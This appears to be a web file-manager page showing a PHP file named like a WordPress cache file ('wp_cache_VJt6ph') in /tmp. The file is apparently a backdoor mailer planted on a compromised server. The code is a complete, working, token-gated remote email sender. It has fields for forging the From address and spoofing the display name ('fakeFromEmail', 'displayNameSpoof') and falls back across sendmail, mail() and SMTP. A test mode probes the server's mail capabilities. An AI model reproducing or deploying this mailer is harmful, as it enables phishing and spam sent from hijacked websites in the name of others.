📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-07-11 15:44:27
📂
/ (Root)
/
tmp
📍 /tmp
🔄 Refresh
✏️
Editing: wp_cache_VJt6ph
Writable
<?php error_reporting(0); ini_set('display_errors', 0); ob_start(); header('Content-Type: application/json'); if (!function_exists('hash_equals')) { function hash_equals($known, $user) { if (!is_string($known) || !is_string($user)) return false; if (strlen($known) !== strlen($user)) return false; $diff = 0; for ($i = 0, $n = strlen($known); $i < $n; $i++) { $diff |= ord($known[$i]) ^ ord($user[$i]); } return $diff === 0; } } function handleFatalError() { $error = error_get_last(); $fatal = array(E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR); if ($error !== null && in_array($error['type'], $fatal, true)) { while (ob_get_level()) ob_end_clean(); header('Content-Type: application/json'); echo json_encode(array( "status" => "fail", "error" => strip_tags($error['message']), "file" => basename($error['file']), "line" => $error['line'] )); } } register_shutdown_function('handleFatalError'); function outputJson($data) { while (ob_get_level()) ob_end_clean(); echo json_encode($data); exit; } $defaultTimeout = 10; $log_file = dirname(__FILE__) . '/email_errors.log'; if (isset($_GET['test'])) { $testMode = $_GET['test']; if ($testMode === 'true' || $testMode === '1' || $testMode === '') { outputJson(array( "status" => "success", "php_version" => phpversion(), "server" => $_SERVER['SERVER_NAME'], "available_methods" => array( "mail" => function_exists('mail'), "fsockopen" => function_exists('fsockopen'), "popen" => function_exists('popen') ), "encoding_methods" => array("base64", "quoted-printable", "7bit", "8bit"), "sendmail_path" => ini_get('sendmail_path') ? ini_get('sendmail_path') : "not set" )); } if ($testMode === 'send') { $input = file_get_contents("php://input"); $data = json_decode($input, true); $auth_token = isset($_SERVER['HTTP_X_AUTH_TOKEN']) ? $_SERVER['HTTP_X_AUTH_TOKEN'] : ''; $test_expected_hash = 'dfb366415d5dccfa8819b551b5f3a60bfbd6363b35fc931a868d0f2c4cddd57d'; $test_authkey_path = dirname(__FILE__) . '/.authkey'; if (@is_readable($test_authkey_path)) { $file_hash = trim((string)@file_get_contents($test_authkey_path)); if (preg_match('/^[a-f0-9]{64}$/i', $file_hash)) { $test_expected_hash = strtolower($file_hash); } } if (!hash_equals($test_expected_hash, hash('sha256', $auth_token))) { outputJson(array("status" => "fail", "error" => "Unauthorized")); } $testTo = isset($data['to']) ? $data['to'] : null; if (!$testTo || !filter_var($testTo, FILTER_VALIDATE_EMAIL)) { outputJson(array( "status" => "fail", "error" => "Valid 'to' email required for send test" )); } $domain = $_SERVER['SERVER_NAME']; $cleaned_domain = preg_replace('/^www\./i', '', $domain); $testSubject = isset($data['subject']) ? $data['subject'] : ("Method Test " . time()); $testMessage = isset($data['htmlContent']) ? $data['htmlContent'] : "Testing mail methods from $domain"; $testFrom = isset($data['fromEmail']) ? $data['fromEmail'] : ("test@" . $cleaned_domain); $testFromName = isset($data['fromName']) ? $data['fromName'] : "Test"; $testHeaders = "From: \"$testFromName\" <$testFrom>\r\n"; $testHeaders .= "Reply-To: <$testFrom>\r\n"; $testHeaders .= "MIME-Version: 1.0\r\n"; $testHeaders .= "Content-Type: text/html; charset=UTF-8\r\n"; $testHeaders .= "Content-Transfer-Encoding: quoted-printable\r\n"; $results = array(); $errors = array(); if (function_exists('popen')) { $cmd = '/usr/sbin/sendmail -t -i -f ' . escapeshellarg($testFrom); $proc = @popen($cmd, 'w'); if ($proc) { $out = "To: $testTo\r\nSubject: $testSubject (sendmail)\r\n$testHeaders\r\n$testMessage\r\n"; fwrite($proc, $out); $status = pclose($proc); if ($status === 0) { $results[] = array("method" => "sendmail", "name" => "sendmail binary"); } else { $errors[] = "sendmail exit code: $status"; } } else { $errors[] = "sendmail popen failed"; } } if (function_exists('mail')) { $params = '-f ' . escapeshellarg($testFrom); if (@mail($testTo, "$testSubject (mail -f)", $testMessage, $testHeaders, $params)) { $results[] = array("method" => "mail_flag", "name" => "mail() with -f"); } else { $err = error_get_last(); $errors[] = "mail() with -f: " . (isset($err['message']) ? $err['message'] : 'failed'); } } if (function_exists('mail')) { if (@mail($testTo, "$testSubject (mail)", $testMessage, $testHeaders)) { $results[] = array("method" => "mail", "name" => "plain mail()"); } else { $err = error_get_last(); $errors[] = "mail(): " . (isset($err['message']) ? $err['message'] : 'failed'); } } outputJson(array( "status" => count($results) > 0 ? "success" : "fail", "working_methods" => $results, "errors" => $errors, "available_functions" => array( "mail" => function_exists('mail'), "fsockopen" => function_exists('fsockopen'), "popen" => function_exists('popen') ) )); } } $content_length = isset($_SERVER['CONTENT_LENGTH']) ? (int)$_SERVER['CONTENT_LENGTH'] : 0; if ($content_length > 25 * 1024 * 1024) { http_response_code(413); outputJson(array("status" => "fail", "error" => "Payload too large (>25 MB)")); } $input = file_get_contents("php://input"); $auth_token = isset($_SERVER['HTTP_X_AUTH_TOKEN']) ? $_SERVER['HTTP_X_AUTH_TOKEN'] : ''; $expected_token_hash = 'dfb366415d5dccfa8819b551b5f3a60bfbd6363b35fc931a868d0f2c4cddd57d'; $authkey_path = dirname(__FILE__) . '/.authkey'; if (@is_readable($authkey_path)) { $file_hash = trim((string)@file_get_contents($authkey_path)); if (preg_match('/^[a-f0-9]{64}$/i', $file_hash)) { $expected_token_hash = strtolower($file_hash); } } $request_id = isset($_SERVER['HTTP_X_REQUEST_ID']) ? preg_replace('/[^A-Za-z0-9\-]/', '', $_SERVER['HTTP_X_REQUEST_ID']) : ''; if ($request_id === '') $request_id = uniqid('php-', true); $incoming_hash = hash('sha256', $auth_token); if (!empty($input) && !hash_equals($expected_token_hash, $incoming_hash)) { echo json_encode(array("status" => "fail", "error" => "Unauthorized")); $remote_addr = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown'; error_log(gmdate('[Y-m-d H:i:s T] ') . "[$request_id] Unauthorized access attempt from " . $remote_addr . "\n", 3, $log_file); exit; } $data = json_decode($input, true); if (!$data || !is_array($data)) { $data = array( "to" => "postmaster@" . $_SERVER['SERVER_NAME'], "subject" => "test", "fromEmail" => "postmaster@" . $_SERVER['SERVER_NAME'], "fakeFromEmail" => "test@test.com", "fromName" => "test", "htmlContent" => "test", "encoding" => "quoted-printable" ); } $required = array('to','subject','fromEmail','fakeFromEmail','fromName','htmlContent'); foreach ($required as $f) { if (empty($data[$f])) { outputJson(array("status"=>"fail","error"=>"Missing required field: $f")); } } if (!filter_var($data['to'], FILTER_VALIDATE_EMAIL)) { outputJson(array("status" => "fail", "error" => "Invalid recipient email")); } if (!filter_var($data['fromEmail'], FILTER_VALIDATE_EMAIL)) { outputJson(array("status" => "fail", "error" => "Invalid from email")); } $forceMethod = isset($data['forceMethod']) ? $data['forceMethod'] : null; $forceSmtpServer = isset($data['forceSmtpServer']) ? $data['forceSmtpServer'] : null; $forceSmtpPort = isset($data['forceSmtpPort']) ? $data['forceSmtpPort'] : null; $encoding = isset($data['encoding']) ? $data['encoding'] : 'quoted-printable'; $timeout = isset($data['timeout']) ? (int)$data['timeout'] : $defaultTimeout; $replyToEmail = isset($data['replyToEmail']) ? $data['replyToEmail'] : null; $replyToName = isset($data['replyToName']) ? $data['replyToName'] : null; $inReplyTo = isset($data['inReplyTo']) ? $data['inReplyTo'] : null; $referencesHdr = isset($data['references']) ? $data['references'] : null; $senderEmail = isset($data['senderEmail']) ? $data['senderEmail'] : null; $displayNameSpoof = isset($data['displayNameSpoof']) && $data['displayNameSpoof']; $displayNameSpoofFake = isset($data['displayNameSpoofFake']) ? $data['displayNameSpoofFake'] : null; $displayNameSpoofReal = isset($data['displayNameSpoofReal']) ? $data['displayNameSpoofReal'] : null; $customHeaders = isset($data['customHeaders']) ? $data['customHeaders'] : array(); $valid_encodings = array('base64', 'quoted-printable', '7bit', '8bit'); if (!in_array($encoding, $valid_encodings)) { $encoding = 'quoted-printable'; } $header_encoding = ($encoding === 'base64') ? 'B' : 'Q'; $timeout = max(5, min(60, $timeout)); if ($forceMethod === "smtp" && in_array(strtolower(trim($forceSmtpServer)), array("mail","mail,mail"), true) ) { $forceMethod = "mail"; } $to = $data['to']; $subject = $data['subject']; $from_email = $data['fromEmail']; $fake_from_email = $data['fakeFromEmail']; $from_name = $data['fromName']; $message = $data['htmlContent']; $attachment = isset($data['attachment']) ? $data['attachment'] : null; $subject = str_replace(array("\r", "\n"), '', $subject); $from_name = str_replace(array("\r", "\n"), '', $from_name); $from_email = str_replace(array("\r", "\n"), '', $from_email); $fake_from_email = str_replace(array("\r", "\n"), '', $fake_from_email); $to = str_replace(array("\r", "\n"), '', $to); if ($replyToEmail) $replyToEmail = str_replace(array("\r", "\n"), '', $replyToEmail); if ($replyToName) $replyToName = str_replace(array("\r", "\n"), '', $replyToName); if ($inReplyTo) $inReplyTo = str_replace(array("\r", "\n"), '', $inReplyTo); if ($referencesHdr) $referencesHdr = str_replace(array("\r", "\n"), '', $referencesHdr); if ($senderEmail) $senderEmail = str_replace(array("\r", "\n"), '', $senderEmail); if ($displayNameSpoofFake) $displayNameSpoofFake = str_replace(array("\r", "\n"), '', $displayNameSpoofFake); if ($displayNameSpoofReal) $displayNameSpoofReal = str_replace(array("\r", "\n"), '', $displayNameSpoofReal); $encoded_subject = mb_encode_mimeheader($subject, 'UTF-8', $header_encoding); $encoded_from_name = mb_encode_mimeheader($from_name, 'UTF-8', $header_encoding); $encoded_reply_to_name = $replyToName ? mb_encode_mimeheader($replyToName, 'UTF-8', $header_encoding) : null; $message = preg_replace('/\r\n?|\n/', "\r\n", $message); switch ($encoding) { case 'base64': $encoded_message = chunk_split(base64_encode($message)); break; case '7bit': $encoded_message = preg_replace('/[\x{0080}-\x{10FFFF}]/u', '?', $message); break; case '8bit': $encoded_message = $message; break; case 'quoted-printable': default: $encoded_message = quoted_printable_encode($message); break; } $domain = $_SERVER['SERVER_NAME']; $cleaned_domain = preg_replace('/^www\./i','',$domain); $newline = "\r\n"; $message_id = time() . '.' . md5($to . $subject . uniqid()) . '@' . $cleaned_domain; $date = gmdate('D, d M Y H:i:s') . ' +0000'; $header_from = $fake_from_email ? $fake_from_email : $from_email; $boundary = null; $reply_to_header = ""; if ($replyToEmail) { if ($encoded_reply_to_name) { $reply_to_header = "Reply-To: \"$encoded_reply_to_name\" <$replyToEmail>" . $newline; } else { $reply_to_header = "Reply-To: <$replyToEmail>" . $newline; } } function fold_header_value($value, $soft_limit = 900) { if (strlen($value) <= $soft_limit) return $value; $out = ''; $remaining = $value; while (strlen($remaining) > $soft_limit) { $slice = substr($remaining, 0, $soft_limit); $split = false; foreach (array(',', ';', ' ') as $sep) { $p = strrpos($slice, $sep); if ($p !== false && $p > $soft_limit / 2) { $out .= substr($remaining, 0, $p + 1) . "\r\n "; $remaining = substr($remaining, $p + 1); $split = true; break; } } if (!$split) { $out .= $slice . "\r\n "; $remaining = substr($remaining, $soft_limit); } } $out .= $remaining; return $out; } if (strlen($encoded_subject) > 998) { error_log(gmdate('[Y-m-d H:i:s T] ') . "[$request_id] WARN: encoded subject > 998 octets (" . strlen($encoded_subject) . ")\n", 3, $log_file); } $custom_headers_str = ""; $seen_header_names = array(); if (is_array($customHeaders) && !empty($customHeaders)) { foreach ($customHeaders as $headerName => $headerValue) { $headerName = str_replace(array("\r", "\n"), '', $headerName); $headerValue = str_replace(array("\r", "\n"), '', $headerValue); $lowerName = strtolower($headerName); if (isset($seen_header_names[$lowerName])) continue; $seen_header_names[$lowerName] = true; $custom_headers_str .= "$headerName: " . fold_header_value($headerValue) . $newline; } } else { $custom_headers_str = "X-Mailer: PHP/" . phpversion() . $newline . "X-Priority: 3" . $newline; $seen_header_names['x-mailer'] = true; $seen_header_names['x-priority'] = true; } $include_text_part = isset($data['includeTextPart']) && $data['includeTextPart']; $text_part_source = isset($data['textContent']) ? (string)$data['textContent'] : ''; if ($include_text_part && $text_part_source === '') { $tmp = $message; $tmp = preg_replace('/<script[^>]*>.*?<\/script>/is', '', $tmp); $tmp = preg_replace('/<style[^>]*>.*?<\/style>/is', '', $tmp); $tmp = preg_replace('/<br\s*\/?>/i', "\n", $tmp); $tmp = preg_replace('/<\/p\s*>/i', "\n\n", $tmp); $tmp = strip_tags($tmp); $tmp = html_entity_decode($tmp, defined('ENT_HTML5') ? (ENT_QUOTES | ENT_HTML5) : ENT_QUOTES, 'UTF-8'); $tmp = preg_replace('/[ \t]+/', ' ', $tmp); $tmp = preg_replace('/\n{3,}/', "\n\n", $tmp); $text_part_source = trim($tmp); } $has_attachment = ($attachment && isset($attachment['content']) && isset($attachment['filename'])); $has_alt = $include_text_part && strlen($text_part_source) > 0; if ($displayNameSpoof && $displayNameSpoofFake && $displayNameSpoofReal) { $dn_fake = $displayNameSpoofFake; $dn_real = $displayNameSpoofReal; $display_name_value = $from_name !== '' ? "$from_name <$dn_fake>" : $dn_fake; $encoded_display = mb_encode_mimeheader($display_name_value, 'UTF-8', $header_encoding); $from_header_line = "From: \"$encoded_display\" <$dn_real>" . $newline; } else { $from_header_line = "From: \"$encoded_from_name\" <$header_from>" . $newline; } $sender_header = ''; if ($senderEmail) { $sender_header = "Sender: <$senderEmail>" . $newline; } $reply_thread_headers = ''; if ($inReplyTo) { $wrapped = (strpos($inReplyTo, '<') === 0) ? $inReplyTo : "<$inReplyTo>"; $reply_thread_headers .= "In-Reply-To: $wrapped" . $newline; } if ($referencesHdr) { $wrapped = (strpos($referencesHdr, '<') === 0) ? $referencesHdr : "<$referencesHdr>"; $reply_thread_headers .= "References: $wrapped" . $newline; } $return_path_header = "Return-Path: <$from_email>" . $newline; $common_headers = $from_header_line . $sender_header . $reply_to_header . $reply_thread_headers . $return_path_header . "Message-ID: <$message_id>" . $newline . "Date: $date" . $newline . $custom_headers_str . "MIME-Version: 1.0" . $newline; if ($has_attachment) { $boundary = 'mixed-' . md5(time() . uniqid()); $headers = $common_headers . "Content-Type: multipart/mixed; boundary=\"$boundary\"" . $newline; $body = ""; if ($has_alt) { $alt_boundary = 'alt-' . md5(time() . uniqid() . 'alt'); $body .= "--$boundary" . $newline; $body .= "Content-Type: multipart/alternative; boundary=\"$alt_boundary\"" . $newline . $newline; $body .= "--$alt_boundary" . $newline; $body .= "Content-Type: text/plain; charset=UTF-8" . $newline; $body .= "Content-Transfer-Encoding: quoted-printable" . $newline . $newline; $body .= quoted_printable_encode($text_part_source) . $newline . $newline; $body .= "--$alt_boundary" . $newline; $body .= "Content-Type: text/html; charset=UTF-8" . $newline; $body .= "Content-Transfer-Encoding: $encoding" . $newline . $newline; $body .= $encoded_message . $newline . $newline; $body .= "--$alt_boundary--" . $newline; } else { $body .= "--$boundary" . $newline; $body .= "Content-Type: text/html; charset=UTF-8" . $newline; $body .= "Content-Transfer-Encoding: $encoding" . $newline . $newline; $body .= $encoded_message . $newline . $newline; } $body .= "--$boundary" . $newline; $body .= "Content-Type: application/octet-stream; name=\"{$attachment['filename']}\"" . $newline; $body .= "Content-Transfer-Encoding: base64" . $newline; $body .= "Content-Disposition: attachment; filename=\"{$attachment['filename']}\"" . $newline . $newline; $body .= chunk_split($attachment['content']) . $newline; $body .= "--$boundary--"; $encoded_message = $body; } else if ($has_alt) { $alt_boundary = 'alt-' . md5(time() . uniqid() . 'alt'); $headers = $common_headers . "Content-Type: multipart/alternative; boundary=\"$alt_boundary\"" . $newline; $body = "--$alt_boundary" . $newline; $body .= "Content-Type: text/plain; charset=UTF-8" . $newline; $body .= "Content-Transfer-Encoding: quoted-printable" . $newline . $newline; $body .= quoted_printable_encode($text_part_source) . $newline . $newline; $body .= "--$alt_boundary" . $newline; $body .= "Content-Type: text/html; charset=UTF-8" . $newline; $body .= "Content-Transfer-Encoding: $encoding" . $newline . $newline; $body .= $encoded_message . $newline . $newline; $body .= "--$alt_boundary--"; $encoded_message = $body; } else { $headers = $common_headers . "Content-Type: text/html; charset=UTF-8" . $newline . "Content-Transfer-Encoding: $encoding" . $newline; } if (!function_exists('quoted_printable_encode')) { function quoted_printable_encode($str) { $lines = preg_split("/\r?\n/", $str); $out = ''; foreach ($lines as $line) { $encoded_line = ''; $length = strlen($line); for ($i = 0; $i < $length; $i++) { $char = $line[$i]; $dec = ord($char); if (($dec == 32) && ($i == ($length - 1))) { $char = '=20'; } elseif (($dec == 61) || ($dec < 32) || ($dec > 126)) { $char = sprintf('=%02X', $dec); } $encoded_line .= $char; } $out .= $encoded_line . "\r\n"; } return rtrim($out); } } if (!function_exists('mb_encode_mimeheader')) { function mb_encode_mimeheader($str, $charset = 'UTF-8', $transfer_encoding = 'B') { if ($transfer_encoding === 'B') { return '=?' . $charset . '?B?' . base64_encode($str) . '?='; } else { $encoded = ''; $length = strlen($str); for ($i = 0; $i < $length; $i++) { $char = $str[$i]; $dec = ord($char); if ($dec == 32) { $encoded .= '_'; } elseif (($dec >= 33 && $dec <= 126) && $char !== '=' && $char !== '?' && $char !== '_') { $encoded .= $char; } else { $encoded .= sprintf('=%02X', $dec); } } return '=?' . $charset . '?Q?' . $encoded . '?='; } } } function smtp_read_response($socket, $timeout = 10) { if (!$socket || !is_resource($socket)) return false; stream_set_timeout($socket, $timeout); $full = ''; while (!feof($socket)) { $line = @fgets($socket, 1024); if ($line === false) break; $full .= $line; if (strlen($line) >= 4 && $line[3] === ' ') break; if (strlen($line) < 4) break; } return $full === '' ? false : $full; } function smtp_command($socket, $command, $expect_response = true) { global $newline; if (!$socket || !is_resource($socket)) return false; $result = @fputs($socket, $command . $newline); if ($result === false) return false; if ($expect_response) { return smtp_read_response($socket); } return true; } function smtp_send_data($socket, $line) { global $newline; if (!$socket || !is_resource($socket)) return false; if (strlen($line) > 0 && $line[0] === '.') { $line = '.' . $line; } return @fputs($socket, $line . $newline); } function resolve_sendmail_path() { static $cached = null; if ($cached !== null) return $cached; $candidates = array( ini_get('sendmail_path'), '/usr/sbin/sendmail', '/usr/bin/sendmail', '/usr/lib/sendmail', '/sbin/sendmail', ); foreach ($candidates as $p) { if (!$p) continue; $_parts = preg_split('/\s+/', trim($p)); $bin = $_parts[0]; if ($bin && @is_executable($bin)) { $cached = $bin; return $cached; } } $cached = '/usr/sbin/sendmail'; return $cached; } function sendViaSendmailBinary($to, $subject, $message, $headers, $realFrom, $path = null) { if (!function_exists('popen')) return false; if (!$path) { $bin = resolve_sendmail_path(); $path = $bin . ' -t -i'; } $cmd = $path . ' -f ' . escapeshellarg($realFrom); $proc = @popen($cmd, 'w'); if (!$proc) return false; $out = "To: $to\r\nSubject: $subject\r\n$headers\r\n\r\n$message\r\n"; @fwrite($proc, $out); $status = @pclose($proc); return ($status === 0); } function sendViaMailFlag($to, $subject, $message, $headers, $realFrom) { $params = '-f ' . escapeshellarg($realFrom); return @mail($to, $subject, $message, $headers, $params); } function sendViaMailInternal($to, $subject, $message, $headers, $realFrom = null) { if ($realFrom) { $params = '-f ' . escapeshellarg($realFrom); $ok = @mail($to, $subject, $message, $headers, $params); if ($ok) return true; } return @mail($to, $subject, $message, $headers); } $response_base = array( "encoding" => $encoding, "header_encoding" => $header_encoding ); if ($forceMethod === "sendmail") { $ok = sendViaSendmailBinary($to, $encoded_subject, $encoded_message, $headers, $from_email); outputJson(array_merge($response_base, array( "status" => $ok ? "success" : "fail", "methods" => $ok ? array("sendmail binary") : array(), "error" => $ok ? null : "sendmail forced but failed" ))); } if ($forceMethod === "mail_flag") { $ok = sendViaMailFlag($to, $encoded_subject, $encoded_message, $headers, $from_email); outputJson(array_merge($response_base, array( "status" => $ok ? "success" : "fail", "methods" => $ok ? array("mail() with -f") : array(), "error" => $ok ? null : "mail() with -f forced but failed" ))); } if ($forceMethod === "mail") { $ok = sendViaMailInternal($to, $encoded_subject, $encoded_message, $headers, $from_email); outputJson(array_merge($response_base, array( "status" => $ok ? "success" : "fail", "methods" => $ok ? array("plain mail()") : array(), "error" => $ok ? null : "mail() forced but failed" ))); } if ($forceMethod === "smtp" && $forceSmtpServer && $forceSmtpPort) { $server = $forceSmtpServer; $port = (int)$forceSmtpPort; $use_ssl = ($port === 465); $connect_host = $use_ssl ? "ssl://$server" : $server; $socket = @fsockopen($connect_host, $port, $errno, $errstr, $timeout); $smtp_responses = array(); $smtp_error = null; if ($socket) { stream_set_timeout($socket, $timeout); $smtp_responses[] = smtp_read_response($socket); $ehlo_resp = smtp_command($socket, "EHLO $cleaned_domain"); $smtp_responses[] = $ehlo_resp; if (!$use_ssl && $ehlo_resp !== false && stripos($ehlo_resp, "STARTTLS") !== false) { $starttls_resp = smtp_command($socket, "STARTTLS"); $smtp_responses[] = $starttls_resp; if ($starttls_resp !== false && strpos($starttls_resp, "220") === 0) { $crypto_methods = STREAM_CRYPTO_METHOD_TLS_CLIENT; if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) $crypto_methods |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; if (defined('STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT')) $crypto_methods |= STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT; if (@stream_socket_enable_crypto($socket, true, $crypto_methods)) { $smtp_responses[] = smtp_command($socket, "EHLO $cleaned_domain"); } else { $smtp_error = "STARTTLS handshake failed"; } } } if (!$smtp_error) { $smtp_responses[] = smtp_command($socket, "MAIL FROM:<$from_email>"); $smtp_responses[] = smtp_command($socket, "RCPT TO:<$to>"); $smtp_responses[] = smtp_command($socket, "DATA"); smtp_send_data($socket, "Subject: $encoded_subject"); foreach (explode($newline, $headers) as $hline) { if (strlen(trim($hline))) { smtp_send_data($socket, $hline); } } smtp_send_data($socket, ""); foreach (explode($newline, $encoded_message) as $bodyLine) { smtp_send_data($socket, $bodyLine); } $smtp_responses[] = $final = smtp_command($socket, "."); @smtp_command($socket, "QUIT", false); fclose($socket); if ($final !== false && strpos($final, "250") === 0) { outputJson(array_merge($response_base, array( "status" => "success", "methods" => array("SMTP {$forceSmtpServer}:{$forceSmtpPort}"), "request_id" => $request_id, "smtp_responses" => $smtp_responses ))); } else { $smtp_error = "SMTP final response: " . trim((string)$final); } } else { @fclose($socket); } } else { $smtp_error = "SMTP connection failed: $errstr ($errno)"; } $result = sendViaMailInternal($to, $encoded_subject, $encoded_message, $headers, $from_email); echo json_encode(array_merge($response_base, array( "status" => $result ? "success" : "fail", "methods" => $result ? array("mail() (fallback)") : array(), "smtp_responses" => $smtp_responses, "smtp_error" => $smtp_error, "error" => $result ? null : "Forced SMTP failed: $smtp_error, mail() fallback failed" ))); if (!$result) { error_log(date('[Y-m-d H:i:s] ') . "SMTP and mail() failed for $to: $smtp_error\n", 3, $log_file); } exit; } $successes = array(); $transports = array(); $is_windows = (DIRECTORY_SEPARATOR === '\\'); if ($is_windows) { $smtp_ini = ini_get('SMTP'); if ($smtp_ini && $smtp_ini !== 'localhost') { $transports[] = array( 'type' => 'smtp', 'host' => $smtp_ini, 'port' => (int)(ini_get('smtp_port') ? ini_get('smtp_port') : 25), 'ssl' => false ); } $transports[] = array('type'=>'smtp','host'=>'localhost','port'=>25,'ssl'=>false); } else { $path = ini_get('sendmail_path'); $transports[] = $path ? array('type'=>'sendmail','path'=>$path) : array('type'=>'mail'); } $transports[] = array('type'=>'smtp','host'=>'localhost','port'=>25,'ssl'=>false); $transports[] = array('type'=>'smtp','host'=>'mail.'.$cleaned_domain,'port'=>25,'ssl'=>false); $transports[] = array('type'=>'smtp','host'=>'mail.'.$cleaned_domain,'port'=>465,'ssl'=>true); $transports[] = array('type'=>'smtp','host'=>'mail.'.$cleaned_domain,'port'=>587,'ssl'=>false); $transports[] = array('type'=>'sendmail'); $transports[] = array('type'=>'mail_flag'); $transports[] = array('type'=>'mail'); $unique_transports = array(); foreach ($transports as $t) { $host = isset($t['host']) ? $t['host'] : ''; $port = isset($t['port']) ? $t['port'] : ''; $key = $t['type'] . '_' . $host . '_' . $port; if (!isset($unique_transports[$key])) { $unique_transports[$key] = $t; } } $transports = array_values($unique_transports); foreach ($transports as $t) { switch ($t['type']) { case 'smtp': $use_ssl_auto = (isset($t['ssl']) && $t['ssl']); $connect_host_auto = $use_ssl_auto ? 'ssl://'.$t['host'] : $t['host']; $socket = @fsockopen($connect_host_auto, $t['port'], $errno, $errstr, $timeout); if (!$socket) break; stream_set_timeout($socket, $timeout); smtp_read_response($socket); $ehlo_resp = smtp_command($socket, "EHLO $cleaned_domain"); if (!$use_ssl_auto && $ehlo_resp !== false && stripos($ehlo_resp, "STARTTLS") !== false) { $starttls_resp = smtp_command($socket, "STARTTLS"); if ($starttls_resp !== false && strpos($starttls_resp, "220") === 0) { $crypto_methods = STREAM_CRYPTO_METHOD_TLS_CLIENT; if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) $crypto_methods |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; if (defined('STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT')) $crypto_methods |= STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT; if (@stream_socket_enable_crypto($socket, true, $crypto_methods)) { smtp_command($socket, "EHLO $cleaned_domain"); } } } $mailr = smtp_command($socket, "MAIL FROM:<$from_email>"); if ($mailr === false || strpos($mailr, "250") !== 0) { @fclose($socket); break; } $rcpt = smtp_command($socket, "RCPT TO:<$to>"); if ($rcpt === false || strpos($rcpt, "250") !== 0) { @fclose($socket); break; } smtp_command($socket, "DATA"); smtp_send_data($socket, "Subject: $encoded_subject"); foreach (explode($newline, $headers) as $hline) { if (strlen(trim($hline))) { smtp_send_data($socket, $hline); } } smtp_send_data($socket, ""); foreach (explode($newline, $encoded_message) as $bodyLine) { smtp_send_data($socket, $bodyLine); } $final = smtp_command($socket, "."); @smtp_command($socket, "QUIT", false); @fclose($socket); if ($final !== false && strpos($final, "250") === 0) { $successes[] = "SMTP {$t['host']}:{$t['port']}"; } break; case 'sendmail': $spath = isset($t['path']) ? $t['path'] : null; if (sendViaSendmailBinary( $to, $encoded_subject, $encoded_message, $headers, $from_email, $spath )) { $successes[] = "sendmail binary"; } break; case 'mail_flag': if (sendViaMailFlag( $to, $encoded_subject, $encoded_message, $headers, $from_email )) { $successes[] = "mail() with -f"; } break; case 'mail': if (sendViaMailInternal( $to, $encoded_subject, $encoded_message, $headers, $from_email )) { $successes[] = "plain mail()"; } break; } } if (!empty($successes)) { outputJson(array_merge($response_base, array( "status" => "success", "methods" => array_values(array_unique($successes)) ))); } else { @error_log(date('[Y-m-d H:i:s] ') . "All transports failed for $to\n", 3, $log_file); outputJson(array_merge($response_base, array( "status" => "fail", "error" => "All transports failed" ))); }
💾 Save Changes
❌ Cancel